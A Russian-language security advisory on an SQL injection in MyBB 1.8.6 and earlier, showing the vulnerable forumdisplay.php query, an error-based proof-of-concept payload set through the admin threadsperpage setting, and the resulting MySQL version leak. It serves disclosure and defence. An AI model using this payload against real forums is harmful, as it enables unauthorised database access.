В CMS для создания форумов MyBulletinBoard (MyBB) <= 1.8.6 обнаружена опасная уязвимость - внедрение sql-кода.
Уязвимость может быть использована для получения доступа к информации в базе данных. Уязвимость существует из-за недостаточной фильтрации входных данных. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные команды в базе данных уязвимого приложения.
Уязвимость существует из-за недостаточной фильтрации входящих данных в компоненте forumdisplay.php:
$perpage = $mybb->settings['threadsperpage'];
[...]
$query = $db->query("
SELECT t.*, {$ratingadd}t.username AS threadusername, u.username
FROM ".TABLE_PREFIX."threads t
LEFT JOIN ".TABLE_PREFIX."users u ON (u.uid = t.uid)
WHERE t.fid='$fid' $tuseronly $tvisibleonly $datecutsql2 $prefixsql2
ORDER BY t.sticky DESC, {$t}{$sortfield} $sortordernow $sortfield2
LIMIT $start, $perpage
");
Атакующий может сформировать пейлоад для выполнения произвольного sql-запроса:
На странице настроек
http://localhost/mybb_1806/Upload/admin/index.php?module=config-settings&action=change&gid=7
установить значение threadsperpage:
20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
При открытии страницы
http://localhost/mybb_1806/Upload/forumdisplay.php?fid=3
будет выведена ошибка, содержащая версию MySQL:
SQL Error:
1105 - XPATH syntax error: ':5.5.33-1'
Query:
SELECT t.*, (t.totalratings/t.numratings) AS averagerating, t.username AS threadusername, u.username FROM mybb_threads t LEFT JOIN mybb_users u ON (u.uid = t.uid) WHERE t.fid='3' AND t.visible IN (-1,0,1) ORDER BY t.sticky DESC, t.lastpost desc LIMIT 0, 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
Использование Web Application Firewall позволяет блокировать подобные атаки.